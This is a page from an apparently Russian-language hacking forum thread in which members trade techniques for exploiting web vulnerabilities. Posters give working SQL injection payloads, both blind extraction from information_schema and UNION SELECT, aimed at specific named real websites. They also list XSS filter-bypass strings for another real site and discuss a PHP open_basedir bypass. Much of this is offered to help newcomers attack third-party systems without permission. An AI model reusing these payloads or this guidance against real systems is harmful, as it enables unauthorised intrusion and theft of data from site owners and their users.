Ваши вопросы по уязвимостям.

Discussion in 'Уязвимости' started by darky, 4 Aug 2007.

Thread Status:
Not open for further replies.
  1. j0ker13

    j0ker13 Elder - Старейшина

    Joined:
    28 Jul 2008
    Messages:
    199
    Likes Received:
    16
    Reputations:
    5
    чтож спасибо cr0w,jokester,Grey что помогли)
    смысл понятен. я к этому и стремился.
    я например сделал для себя открытие) а вы наверна просто забыли что таблица пустая) или может тоже увидите что нить новое)

    как я понял все упиралось в то что таблица была пустая и мускул раз нечего было сортировать и не обращает на ордер внимание)
    (таблица act_topup пустая)
    вот такая фигня)
    поэтому есть ли какая нить функция которая бы принудительно заставила его брать в расчет ордер?
    desc не помогает(
     
  2. Kakoytoxaker

    Kakoytoxaker Elder - Старейшина

    Joined:
    18 Feb 2008
    Messages:
    1,038
    Likes Received:
    1,139
    Reputations:
    350
    j0ker13

    Ну а где тогда инъекция-то я не пойму?

    Сортировка по любому полю даёт ошибку, это не инъекция , а нерабочий запрос.

    У тебя нет рабочего запроса и влиять на запрос ты тоже никак не можешь. Его нельзя сделать рабочим. Ошибка будет всегда, если я правильно тебя понял. Тоесть даже при верном значении сортируемого поля сортировать будет нечего и база будет ругаться на то, что сортировать ей "не чего" и "не по чему".

    Или я опять что-то упустил?
     
  3. j0ker13

    j0ker13 Elder - Старейшина

    Joined:
    28 Jul 2008
    Messages:
    199
    Likes Received:
    16
    Reputations:
    5
    2jokester
    ну смотри. поправь если где то неправ.
    запрос который я дал выше может выполнится и без меня. я могу только чтонить к нему подписать. после ордер.
    для примера два запроса(смысл схож с тем который был изначально)-
    выполнится нормально
    вылезет ошибка.

    запрос изначально рабочий. только таблица пустая

    да это так) но я могу в условии if сорвать запрос ошибкой)

    все упирается в то что таблица пустая. если там была хоть одна бы запись можно веть было бы написать эксплоит только вместо
    вставлять что то типа
    и получится блинд)

    все выше написанное не утверждение а домыслы) поправь если не трудно где ошибся)
     
  4. Kakoytoxaker

    Kakoytoxaker Elder - Старейшина

    Joined:
    18 Feb 2008
    Messages:
    1,038
    Likes Received:
    1,139
    Reputations:
    350
    То что ты показываешь выборку из mysql.user это понятно, она работает. Но она работает потому, что в таблице есть что сортировать.

    Если в таблице ничего нет , то мы не сможем получить нормальный запрос. Тоесть пофигу какое там поле сортировки(если сортировка именно по полю), база его не обрабатывает(точнее обрабатывает , но как-то очень странно :)), она выбирает данные видит что их там нет и выкидывает Empty set

    Только если в таблице что-то есть. Иначе нет.

    Вообще на эту тему (ну или почти на эту) есть множество интересных задумок, но нет нормальной документации на mysql, стандарты она не держит и приходится всё проверять ручками. Так что то, что я пишу тут, это исключительно МОЙ взгляд, возможно и есть какое-то решение, но я его не вижу
     
    #7404 Kakoytoxaker, 6 Jun 2009
    Last edited: 6 Jun 2009
  5. j0ker13

    j0ker13 Elder - Старейшина

    Joined:
    28 Jul 2008
    Messages:
    199
    Likes Received:
    16
    Reputations:
    5
    2jokester
    ну смотри. как я понимаю такие конструкции разрабатывать через подзапросы или(и) функции но и их не везде вставить(
    так же есть запрос:
    select .. from .. order by id limit a,b
    a и b можно вставлять свои. но есть тока один вариант раскрутить это но там стоит ордер и юнион не прокатит.
    а в лимит, как я пытался, не вставить if()
    :) или можно как нить по другому?) как думаешь?
     
  6. Kakoytoxaker

    Kakoytoxaker Elder - Старейшина

    Joined:
    18 Feb 2008
    Messages:
    1,038
    Likes Received:
    1,139
    Reputations:
    350
    В лимите подзапросы и выражения запрещены (и как не странно это мускул держит)

    Юнион как ты правильно заметил туда не впихнёшь, он будет после ордера.

    И самое смешное, что в ордере по идее подзапросы тоже запрещёны, но разрабы mysql на это положили, и они там работают. Но это значит , что доков ты по этой теме не увидишь, их как-бэ нет, подзапросов в ордере , а значит и доков нет :)

    Соответственно хрен поймёшь как база обрабатывает подзапрос, нельзя сказать, что она его совсем игнорирует, т.к. если таблица не пустая то он обрабатывается.
    Тоесть что-то она проверяет, а вот с пустой таблицей я не смог заставить работать
    more than 1 row
    Такое ощущение, что в этом случае, базе плевать на то, что в подзапросе и она выкидывает Empty set

    Моё мнение что не выйдет, но в любом случае можешь поразвлекаться на локалке и посмотреть, т.к. не исключаю, что решение может и найтись

    ==================
    add

    Кстати, если сможешь заставить базу воспринимать то, что она возвращает из подзапроса в ордере как ИМЯ КОЛОНКИ, дай мне знать , мы об эту тему с некоторыми товарищами уже весь мозг вывернули :D

    Возвращает она строку, и никак не удаётся убедить её в том, что это колонка и по ней нужна сортировка.
     
    #7406 Kakoytoxaker, 6 Jun 2009
    Last edited: 6 Jun 2009
  7. cr0w

    cr0w Elder - Старейшина

    Joined:
    11 Sep 2008
    Messages:
    92
    Likes Received:
    141
    Reputations:
    33
    jokester

    Code:
    mysql> SELECT @@version;
    +---------------------+
    | @@version           |
    +---------------------+
    | 5.0.45-community-nt |
    +---------------------+
    1 row in set (0.00 sec)
    
    mysql> SELECT * from `users2`;
    +-------+----------+
    | name  | password |
    +-------+----------+
    | admin | 348      |
    | user1 | 469      |
    | user2 | 1091     |
    | user3 | 2221     |
    | user4 | 5239     |
    | user5 | 909      |
    | cr0w  | 3        |
    +-------+----------+
    7 rows in set (0.00 sec)
    
    mysql> SELECT * from `users2` ORDER BY (SELECT password);
    +-------+----------+
    | name  | password |
    +-------+----------+
    | user2 | 1091     |
    | user3 | 2221     |
    | cr0w  | 3        |
    | admin | 348      |
    | user1 | 469      |
    | user4 | 5239     |
    | user5 | 909      |
    +-------+----------+
    7 rows in set (0.00 sec)
    j0ker13

    Я обратил внимание на то, что таблица пустая, но так и не понял, чего ты хотел в итоге получить тем своим запросом, поэтому решил оставить этот момент без комментария. :)

    add: Мне почему-то ранее думалось, что выражение в первом параметре ORDER BY будет выполняться даже если в таблице нет данных. Надо будет поэксперементировать с этим...
     
    #7407 cr0w, 6 Jun 2009
    Last edited: 6 Jun 2009
  8. Kakoytoxaker

    Kakoytoxaker Elder - Старейшина

    Joined:
    18 Feb 2008
    Messages:
    1,038
    Likes Received:
    1,139
    Reputations:
    350
    cr0w
    (SELECT password) Это не запрос знаешь-ли, так-же как и (select 1). Любая база увидев такое пошлёт тебя куда подальше. Это нестандартные фичи мускула, и работают они соответственно непонятно как :)

    Ты запросы вот такие погоняй :

    order by (select table_name from information_schema.tables limit 1)

    order by (select user from mysql.user limit 1)
     
  9. Qwazar

    Qwazar Elder - Старейшина

    Joined:
    2 Jun 2005
    Messages:
    989
    Likes Received:
    904
    Reputations:
    587
    cr0w, мне кажется что если в таблице нет данных, то после ORDER BY выражение не посчитается, из-за банально оптимизации. Т.е. база не будет выполнять то, что не имеет смысла изначально.
     
  10. cr0w

    cr0w Elder - Старейшина

    Joined:
    11 Sep 2008
    Messages:
    92
    Likes Received:
    141
    Reputations:
    33
    jokester

    Я, кстати, ведь и не писал там про подзапросы, а писал про выражения. Впрочем, "(SELECT password)" это как-никак, но подзапрос (неважно как он там в MySQL реализован) и это работает.

    add: Ок, если подумать, то вобщем-то согласен с тобой, что это не совсем подзапрос (хотя, в терминологии документации MySQL, это можно назвать "подзапросом"). А как сделать то, что ты хотел бы увидеть, я не знаю и подозреваю что это невозможно в принципе, тут даже голову ломать незачем. :)

    Qwazar

    Да, я понял уже. :)
     
    #7410 cr0w, 6 Jun 2009
    Last edited: 7 Jun 2009
    2 people like this.
  11. mff

    mff Elder - Старейшина

    Joined:
    12 Mar 2008
    Messages:
    2,074
    Likes Received:
    701
    Reputations:
    227
    Подскажите плиз, вот я нашел ошибку, что дальше можно сделать?
    Code:
    http://www.gangotri.ru/cs?action=itemlist&txid='
    p.s. не пинайте сильно ногами, я новенький :)
     
    1 person likes this.
  12. R1dex

    R1dex Elder - Старейшина

    Joined:
    17 Sep 2008
    Messages:
    255
    Likes Received:
    132
    Reputations:
    19
    Code:
    http://www.gangotri.ru/cs?action=itemlist&txid=1668+and+ascii(substring((select+table_name+from+information_schema.tables+limit+17,1),1,1))%3E1
     
    1 person likes this.
  13. gLuk!

    gLuk! New Member

    Joined:
    27 Mar 2009
    Messages:
    27
    Likes Received:
    0
    Reputations:
    0
    На сайте ege.vrn.ru нарыл вот такое дело
    http://www.ege.vrn.ru/modules.php?name=Downloads&d_op=TopRated&ratenum=25%3Cfont%20color=red%3EnpuBeD!%3C/font%3E&ratetype=num
    В $_GET['ratenum'] фильтруется javascript, но html код пропускает. Перепробовал много вариантов, а вставить тотже алерт не получилось. Возможно ли заюзать дырку?
     
  14. Krist_ALL

    Krist_ALL Banned

    Joined:
    14 Jan 2009
    Messages:
    436
    Likes Received:
    193
    Reputations:
    24
    Хм. Странный фильтр какой-то стоит на сайте...

    <> - пропускает
    () - нет пропускает
    <img... - не пропускает
    <iframe... - не пропускает
    <font - пропускает
    <s cript> - пропускает
    <ja v ascri pt - пропускает

    <body+onload=j+a+vas+c+r+ipt:..> - пропускает
     
    #7414 Krist_ALL, 7 Jun 2009
    Last edited: 7 Jun 2009
  15. gLuk!

    gLuk! New Member

    Joined:
    27 Mar 2009
    Messages:
    27
    Likes Received:
    0
    Reputations:
    0
    картинку у меня еще получалось впихивать... в вот куки в предачу с ней никак
     
  16. SENIA

    SENIA Elder - Старейшина

    Joined:
    22 Nov 2008
    Messages:
    478
    Likes Received:
    232
    Reputations:
    1
    Каким запросом вывести инфу из бд? На сайте 6 бд! нужно из одной из них вывести инфу! Когда пишу ...3+from+users выдаёт ошибку( Сор если плохо объяснил)
     
  17. aka PSIH

    aka PSIH Elder - Старейшина

    Joined:
    7 Feb 2006
    Messages:
    582
    Likes Received:
    284
    Reputations:
    51
    SENIA
    3+from+dbname.users
    если прав хватит...
     
    2 people like this.
  18. diznt

    diznt Elder - Старейшина

    Joined:
    31 Jan 2008
    Messages:
    432
    Likes Received:
    164
    Reputations:
    -19
    Прочитай сообщение психа
    Вот что я к нему дополняю...

    ...+union+select+1,TABLE_SCHEMA,3+from+information_schema.tables+where+table_name=TABLE_NAME+limit+1,1--

    Где табл нейм там имя таблицы в виде хекса (0x+hex)
    (лимит можно не ставить но я поставил)
    Он тебе выдает имя БД где хранится таблица твоя
    Дальше читай сообщение психа )
     
    #7418 diznt, 7 Jun 2009
    Last edited: 7 Jun 2009
  19. Велемир

    Joined:
    19 Jun 2006
    Messages:
    1,123
    Likes Received:
    96
    Reputations:
    -25
    Так,я,кажется,разобрался.Обход open_basedir с помощью функции ini_restore() работает только в случае,если в php.ini или vhosts.conf с помощью php_admin_value был указан open_basedir или с помощью php_admin_flag указан safe mode,но там не писали про php.ini.Если open_basedir будет закомментирован,то он автоматически принимает значение no value(Что-то вроде NULLа),и функция ini_restore() также срабатывает. Проверено на PHP 5.2.6.
    В моём же случае open_basedir был указан(аж два):

    1. /var/www/vhosts/site.ru/httpdocs
    2. /tmp

    (символ ":" - разделитель)

    Спасибо за то,что пытались помочь.Похоже,что придётся искать другие пути...
     
  20. Gorev

    Gorev Level 8

    Joined:
    31 Mar 2006
    Messages:
    2,551
    Likes Received:
    1,259
    Reputations:
    274
    http://www.xtrempc.ro/modules.php?id_articol=-8177+UNION+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20&name=Articole&skin=0&subtip=Stire&tip=jocuri

    а дальше PHP Nuke не пускает запросы делать, какие предложения?
     
Thread Status:
Not open for further replies.